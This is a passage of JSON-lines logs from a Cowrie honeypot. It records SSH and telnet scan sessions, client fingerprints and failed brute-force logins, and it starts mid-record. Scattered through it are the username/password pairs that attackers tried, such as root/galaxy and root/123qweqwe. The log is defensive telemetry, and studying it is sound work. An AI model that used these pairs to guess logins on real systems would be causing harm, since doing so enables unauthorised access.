16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:59.250124Z","src_ip":"51.250.105.222","session":"d5c0e3bbb7bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galaxy","message":"login attempt [root/galaxy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:59.629053Z","src_ip":"51.250.105.222","session":"d5c0e3bbb7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:00.756809Z","src_ip":"51.250.105.222","session":"d5c0e3bbb7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.407596111297607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:21.236076Z","src_ip":"50.6.8.71","session":"5162d8d62b1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57610,"dst_ip":"10.17.0.5","dst_port":23,"session":"f20caab09f66","protocol":"telnet","message":"New connection: 50.6.8.71:57610 (10.17.0.5:23) [session: f20caab09f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:27.533888Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41852,"dst_ip":"159.203.135.109","dst_port":22,"session":"128dbbdbc7f9","protocol":"ssh","message":"New connection: 80.94.92.184:41852 (159.203.135.109:22) [session: 128dbbdbc7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:28.115586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:28.161262Z","src_ip":"80.94.92.184","session":"128dbbdbc7f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:28.342744Z","src_ip":"80.94.92.184","session":"128dbbdbc7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57626,"dst_ip":"10.17.0.5","dst_port":23,"session":"36b6c17371cf","protocol":"telnet","message":"New connection: 50.6.8.71:57626 (10.17.0.5:23) [session: 36b6c17371cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:29.516804Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57634,"dst_ip":"10.17.0.5","dst_port":23,"session":"496b1a2863a5","protocol":"telnet","message":"New connection: 50.6.8.71:57634 (10.17.0.5:23) [session: 496b1a2863a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:29.541778Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:29.840766Z","src_ip":"80.94.92.184","session":"128dbbdbc7f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.640888690948486,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:30.385852Z","src_ip":"50.6.8.71","session":"133612c61538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:31.125035Z","src_ip":"80.94.92.184","session":"128dbbdbc7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40718,"dst_ip":"10.17.0.5","dst_port":23,"session":"3531a6c57179","protocol":"telnet","message":"New connection: 50.6.8.71:40718 (10.17.0.5:23) [session: 3531a6c57179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:50.567282Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40726,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa496a5738a4","protocol":"telnet","message":"New connection: 50.6.8.71:40726 (10.17.0.5:23) [session: aa496a5738a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:03:51.920187Z"}
{"eventid":"cowrie.session.closed","duration":30.73029112815857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:00.271976Z","src_ip":"50.6.8.71","session":"496b1a2863a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084831476211548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:00.601716Z","src_ip":"50.6.8.71","session":"36b6c17371cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.48100924491882,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:04.014774Z","src_ip":"50.6.8.71","session":"f20caab09f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36126,"dst_ip":"10.17.0.5","dst_port":23,"session":"6509e9032beb","protocol":"telnet","message":"New connection: 50.6.8.71:36126 (10.17.0.5:23) [session: 6509e9032beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:07.142962Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36136,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ec97cff2e7e","protocol":"telnet","message":"New connection: 50.6.8.71:36136 (10.17.0.5:23) [session: 8ec97cff2e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:16.217416Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48472,"dst_ip":"10.17.0.5","dst_port":23,"session":"f34bac844b40","protocol":"telnet","message":"New connection: 50.6.8.71:48472 (10.17.0.5:23) [session: f34bac844b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:21.208650Z"}
{"eventid":"cowrie.session.closed","duration":32.365702629089355,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:24.285735Z","src_ip":"50.6.8.71","session":"aa496a5738a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.83973240852356,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:24.406904Z","src_ip":"50.6.8.71","session":"3531a6c57179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34884,"dst_ip":"10.17.0.5","dst_port":23,"session":"1deee226ff91","protocol":"telnet","message":"New connection: 50.6.8.71:34884 (10.17.0.5:23) [session: 1deee226ff91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:39.203629Z"}
{"eventid":"cowrie.session.closed","duration":32.27965497970581,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:39.422522Z","src_ip":"50.6.8.71","session":"6509e9032beb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34900,"dst_ip":"10.17.0.5","dst_port":23,"session":"110a42cc4207","protocol":"telnet","message":"New connection: 50.6.8.71:34900 (10.17.0.5:23) [session: 110a42cc4207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:41.819856Z"}
{"eventid":"cowrie.session.closed","duration":31.360047817230225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:47.577350Z","src_ip":"50.6.8.71","session":"8ec97cff2e7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44292,"dst_ip":"10.17.0.5","dst_port":23,"session":"64d0f1a3b206","protocol":"telnet","message":"New connection: 50.6.8.71:44292 (10.17.0.5:23) [session: 64d0f1a3b206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:48.781450Z"}
{"eventid":"cowrie.session.closed","duration":31.688888788223267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:52.897412Z","src_ip":"50.6.8.71","session":"f34bac844b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44298,"dst_ip":"10.17.0.5","dst_port":23,"session":"87fc7f160afa","protocol":"telnet","message":"New connection: 50.6.8.71:44298 (10.17.0.5:23) [session: 87fc7f160afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:53.908428Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57602,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fa905215749","protocol":"telnet","message":"New connection: 50.6.8.71:57602 (10.17.0.5:23) [session: 7fa905215749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:57.537475Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.126.194.199","src_port":4593,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc5189c2fe29","protocol":"telnet","message":"New connection: 37.126.194.199:4593 (10.17.0.5:23) [session: cc5189c2fe29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:04:58.340560Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":59988,"dst_ip":"159.203.135.109","dst_port":22,"session":"7657131d884f","protocol":"ssh","message":"New connection: 103.149.170.125:59988 (159.203.135.109:22) [session: 7657131d884f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:08.632773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:08.641726Z","src_ip":"103.149.170.125","session":"7657131d884f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:08.904123Z","src_ip":"103.149.170.125","session":"7657131d884f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweqwe","message":"login attempt [root/123qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:09.980432Z","src_ip":"103.149.170.125","session":"7657131d884f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.192","src_port":50064,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fe5af631f6f","protocol":"ssh","message":"New connection: 2.57.122.192:50064 (159.203.135.109:22) [session: 5fe5af631f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:09.992640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:10.013609Z","src_ip":"2.57.122.192","session":"5fe5af631f6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:10.119396Z","src_ip":"2.57.122.192","session":"5fe5af631f6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:10.552574Z","src_ip":"2.57.122.192","session":"5fe5af631f6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40502,"dst_ip":"10.17.0.5","dst_port":23,"session":"8258b908c080","protocol":"telnet","message":"New connection: 50.6.8.71:40502 (10.17.0.5:23) [session: 8258b908c080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:11.045646Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:11.237937Z","src_ip":"103.149.170.125","session":"7657131d884f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.130294561386108,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:11.470730Z","src_ip":"37.126.194.199","session":"cc5189c2fe29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.95417618751526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:13.773890Z","src_ip":"50.6.8.71","session":"110a42cc4207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.931964635849,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:20.135321Z","src_ip":"50.6.8.71","session":"1deee226ff91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.229.41.7","src_port":43130,"dst_ip":"159.203.135.109","dst_port":22,"session":"50368bc6f527","protocol":"ssh","message":"New connection: 111.229.41.7:43130 (159.203.135.109:22) [session: 50368bc6f527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:20.262864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:20.267592Z","src_ip":"111.229.41.7","session":"50368bc6f527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:20.488163Z","src_ip":"111.229.41.7","session":"50368bc6f527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36398,"dst_ip":"10.17.0.5","dst_port":23,"session":"f34ae29146ec","protocol":"telnet","message":"New connection: 50.6.8.71:36398 (10.17.0.5:23) [session: f34ae29146ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:20.521115Z"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:21.401090Z","src_ip":"111.229.41.7","session":"50368bc6f527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":57884,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d553cdb1eb3","protocol":"ssh","message":"New connection: 89.223.69.22:57884 (159.203.135.109:22) [session: 1d553cdb1eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:24.254635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:24.260054Z","src_ip":"89.223.69.22","session":"1d553cdb1eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:24.374363Z","src_ip":"89.223.69.22","session":"1d553cdb1eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:24.724797Z","src_ip":"89.223.69.22","session":"1d553cdb1eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:25.841117Z","src_ip":"89.223.69.22","session":"1d553cdb1eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.486902713775635,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:26.268219Z","src_ip":"50.6.8.71","session":"64d0f1a3b206","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847037315368652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:28.384373Z","src_ip":"50.6.8.71","session":"7fa905215749","protocol":"telnet"}
